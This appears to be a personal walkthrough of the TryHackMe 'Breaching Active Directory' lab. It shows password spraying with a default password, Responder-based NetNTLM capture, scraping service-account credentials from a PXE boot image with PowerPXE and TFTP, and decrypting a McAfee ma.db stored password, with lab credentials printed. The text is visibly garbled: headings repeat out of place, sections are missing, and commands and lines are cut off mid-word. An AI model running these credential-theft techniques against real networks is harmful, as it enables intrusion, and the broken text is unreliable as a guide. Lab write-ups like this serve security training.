Task 1: Intro to AD Breaches

Connect to the VPN

I am using my own Kali VM to complete this room, not the AttackBox provided by TryHackMe.

Download the VPN connection pack and open it in the Kali VM background service.

```
# Run the VPN connection as a daemon in the background
sudo openvpn --config ./breachingad.ovpn --daemon
```

When finished with the room, you can terminate the VPN with this command:

```
# Find the PID of the OpenVPN process
pid=$(sudo ps aux | grep -v grep | grep -i breachingad | awk '{print $2}')

# Send SIGTERM to the PID
sudo kill -9 $pid
```

Edit DNS Configuration

I didn't follow the guidance in the room, I took a more simplistic approach. Please note the changes to the DNS configurations in the **before** and **after** sections to my environment.

Before

```
# Generated by NetworkManager
search cyber.range
nameserver 10.0.0.1
```

/etc/resolv.conf (before)

Clean Up DNS Changes

After

`10.200.54.101` is the IP address of the network diagram. The domain controller in the network environment.

```
# Generated by NetworkManager
search cyber.range za.tryhackme.com
nameserver 10.200.54.101
nameserver 10.0.0.1
# Shorten name resolution timeouts to 1 second
options timeout:1
# Only attempt to resolve a hostname 2 times
options attempts:2
```

`/etc/resolv.conf`

Run `sudo systemctl restart networking.service` to apply the changes.

Task 8: Conclusion

Clean Up DNS Changes

Test Hostname Lookups

```
nslookup thmdc.za.tryhackme.com
```

Why does this work?

You're instructing the DNS resolution service to search between `10.200.54.101` **and** `10.0.0.1` . So, let's say you say something like this:

```
nslookup google.com
```

What's happening is this:

1. First ask `10.200.54.101` – "Do you know `google.com`?"
 - If the domain controller answers, it starts the resolution process.
 - If the domain controller doesn't answer, it moves to the next server.
2. Then, ask `10.0.0.1` – "Do you know `google.com`?"

Task 2: OSINT & Phishing

Read through and learn about two very common ways to find Active Directory usernames and/or passwords.

- ?** What popular website can be used to find usernames or password has ever been exposed in a breach?

Show Answer

`haveibeenpwned`

Task 3: NTLM Authen

Read through and learn about how some authentication are exposed to the internet to test domain user credentials, as they pass authentication requests to the domain controller.

Brute-forcing Logins

...most AD environments have accounts that choose and use one password and use all the usernames we have acquired.

One password, multiple usernames.

You have been provided with a list of usernames during a red team OSINT exercise which indicated the organisation's initial password which seems to be "Changeme123".

Download your task files before proceeding:

Download Task Files

In our browser, we go to <http://ntlmauth.za.tryhackme.com> . You could do some **manual testing** here at first to see if you can get an easy win.

If that doesn't work, you could try brute force like **hydra** . The lesson here advises you to use a script, but I am going to skip that.

Unzip the provided archive:

```
unzip passwordsprayer.zip
```

```
Archive:  passwordsprayer.zip
  inflating: ntlm_passwordspray.py
  inflating: usernames.txt
```

Using Hydra to Brute-force

On the page pictured above, we have a **NTLM** authentication. If we test the login manually and inspect it with Wireshark, we should see a HTTP status code for bad logins.

tryhackmeldappass1@
```

Bonus: LDAP NetNTLM Hash

We're going to use the same passback as before. The server will be **Responder**. Responder does a man-in-the-middle mechanism to downgrade the authentication. We can still:

- Capture the NetNTLM hash
- Then, try to crack it (you can not crack hashes)

Configure Responder

```
sudo nano /etc/responder/Responder.conf
```

```

Server Message Block (SMB)

- Used by Windows (and Linux) systems for remote administration, etc.
- Newer versions of the SMB protocol but companies with legacy systems
- SMB communications are not encrypted

LLMNR, NBT-NS, and WPAD

- NBT-NS and LLMNR are ways to resolve names on the LAN.
- WPAD is a way for Windows hosts to find a proxy server.
- These protocols are broadcast on the LAN and can be poisoned, tricking hosts into thinking they are talking to an intended target.
- Since these are layer 2 protocols, we can capture and poison requests, we must be on the target.

Task 6: Microsoft Deployment Toolkit

Read through and understand how Microsoft Deployment Toolkit (MDT) is used to deploy operating systems over the network using PXE boot; and how SCCM is used to manage hosts after they've been provisioned.

Both of these technologies have the advantage of being a management system for hosts. But, they also present a surface if an attacker were to compromise the system.

If an attacker can pretend to be a PXE client and request an image from MDT via a DHCP server, they could inject or scrape information from the setup process.

Practical

SSH to the Jump Host

SSH to the jump host where we will be using the PowerShell module.

```
ssh thm@THMJMP1.za.tryhackme.com
```

Use the password:

Create a Working Directory

Create a folder for your session using your username and copy the `powerpxe` directory to your user folder.

```
powershell -ep bypass
mkdir 0xBEN
cd 0xBEN
cp -Recurse C:\powerpxe .
```

Clean Up DNS Changes

Pretend You're a PXE Client

We are going to simulate a PXE client receiving a list of BCD files for configuration. We will navigate to <http://pxeboot.za.tryhackme.com> as a client that's received a list of files including `x64uefi...`. Copy the file name.

Use TFTP to connect to the MDT server and scrape it for credentials.

```
tftp -i (Resolve-DnsName thmmdt.za.tryhackme.com)
```

```
PS C:\Users\thm\0xBEN> tftp -i (Resolve-DnsName thmmdt.za.tryhackme.com) B9-DF7D-401C-B5B6-2F4D37258344}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288
PS C:\Users\thm\0xBEN>
```

Analyze the Boot Image

At this point, I'm working in the directory where I've downloaded the BCD file and copied it. Now let's get the location of the WIM file in the boot image.

```
Import-Module .\powerpxe\PowerPXE.ps1
$bcdfile = "conf.bcd"
Get-WimFile -bcdFile $bcdfile

>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
```

Now, that we know the path to download the image, let's proceed. **This is a full Windows image** and very large. It's going to take a while.

```
$wimfile = '\Boot\x64\Images\LiteTouchPE_x64.wim'
$mdtserver = (Resolve-DnsName thmmdt.za.tryhackme)
tftp -i $mdtserver GET "$wimfile" pxeboot.wim
```

```
Transfer successful: 341899611 bytes in 277 seconds
```

Finally, scrape the image for credentials

```
Get-FindCredentials -WimFile .\pxeboot.wim

>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@
```

Task 7: Configuration Files

Read through and understand how configuration files can be used to enumerate Active Directory credentials on **both domain-joined and non-domain-joined hosts**.

Some example configuration files include

- Web application config files
- Service configuration files
- Registry keys
- Centrally deployed applications

Tools such as [Seatbelt](#) can be used to discovery.

Managed Applications

Be sure to download the Python 2 script and the password hash in the exercise.

Download

The example given in this section uses the McAfee Security application, which is an endpoint detection and response (EDR) agent. This application stores a database of hashes in the `C:\ProgramData\McAfee\Agent\DB\ma.db` file. An attacker who's managed to gain a foothold on a system where this application is installed.

The `ma.db` file is a SQLite file which can be read using the `sqlite3` utility or the `sqlitebrowser` tool as demonstrated in the exercise.

Inspect the Database

You can inspect the data using [sqlitebrowser](#) or [sqlite3](#) on your preference. In the exercise, we are using [sqlite3](#) to inspect the [AGENT_REPOSITORIES](#) table and particularly the [AUTH_USER](#), and [AUTH_PASSWD](#) columns.

SQLite

```
sqlite3 ./ma.db

# List the tables in the database
# Note the AGENT_REPOSITORIES table we're interested in
sqlite> .tables
AGENT_CHILD          AGENT_PROXIES
AGENT_LOGS            AGENT_PROXY_CONFIG
AGENT_PARENT         AGENT_REPOSITORIES

# Dump the table schema
# Note the column names
sqlite> .schema AGENT_REPOSITORIES
CREATE TABLE AGENT_REPOSITORIES (
  NAME TEXT NOT NULL,
  UNIQUE TEXT NOT NULL,
  REPO_TYPE TEXT NOT NULL,
  URL_TYPE TEXT NOT NULL,
  NAMESPACE TEXT NOT NULL,
  PROXY_USAGE TEXT NOT NULL,
  AUTH_TYPE TEXT NOT NULL,
  ENABLED TEXT NOT NULL,
  SERVER_FQDN TEXT NOT NULL,
  SERVER_IP TEXT NOT NULL
);
```

```
# SERVER_NAME
# PORT
# SSL_PORT
# DOMAIN
# AUTH_USER
# AUTH_PASSWD
# IS_PASSWD_ENCRYPTED
# PING_TIME
# SUBNET_DISTANCE
# SITELIST_ORDER
# STATE

sqlite> .schema AGENT_REPOSITORIES
CREATE TABLE AGENT_REPOSITORIES(NAME TEXT NOT NULL, AUTH_USER TEXT NOT NULL, AUTH_PASSWD TEXT NOT NULL, IS_PASSWD_ENCRYPTED TEXT NOT NULL, PING_TIME TEXT NOT NULL, SUBNET_DISTANCE TEXT NOT NULL, SITELIST_ORDER TEXT NOT NULL, STATE TEXT NOT NULL)

# Select the desired columns from the table
sqlite> SELECT DOMAIN, AUTH_USER, AUTH_PASSWD FROM AGENT_REPOSITORIES WHERE NAME = 'za.tryhackme.com'
za.tryhackme.com|svcAV|jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTiFXsR/abAFPM9B3Q==

# Exit sqlite3
sqlite> .quit
```

Sqlitebrowser

```
# Run the process in the background
sqlitebrowser ./ma.db &
```

Click on the **Browse Data** tab and choose

DOMAIN	AUTH_USER	
Filter	Filter	Filter
NULL	NULL	NULL
za.tryhackme.com	svcAV	jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTiFXsR/abAFPM9B3Q==

Reverse the Encrypted Password

We now know the service account username is `svcAV` and we have an encrypted password stored as a base64 string. Let's use the script provided in the exercise files to crack

```
encrypted_pw='jWbTyS7BL1Hj7Pk05Di/QhhYmcGj5c0oZ20'
python2 ./mcafee-sitelist-pwd-decryption-master/m
```

```
(ben@kali)-[~/Pentest/Training/TryHackMe/Network]
$ encrypted_pw='jWbTyS7BL1Hj7Pk05Di/QhhYmcGj5c0oZ20'

(ben@kali)-[~/Pentest/Training/TryHackMe/Network]
$ python2 ./mcafee-sitelist-pwd-decryption-master/m
Encrypted password : jWbTyS7BL1Hj7Pk05Di/QhhYmcGj5c0oZ20
Decrypted password : MyStrongPassword!
```

We now know the `svcAV` user's password

Task 8: Conclusion

Read through and understand some of the Directory attack surface available to

- *User awareness and training - The v chain is almost always users. Train that they should be careful about c such as credentials and not trust s attack surface.*
- *Limit the exposure of AD services a applications must be accessible fro that support NTLM and LDAP authenti applications should be placed in a through a VPN. The VPN can then sup for added security.*
- *Enforce Network Access Control (NA from connecting rogue devices on th require quite a bit of effort since be allowlisted.*
- *Enforce SMB Signing - By enforcing are not possible.*
- *Follow the principle of least privileges - In most cases, an attacker will be able to recover a set of AD credentials. By following the principle of least privilege, especially for credentials used for services, the risk associated with these credentials being compromised can be significantly reduced.*
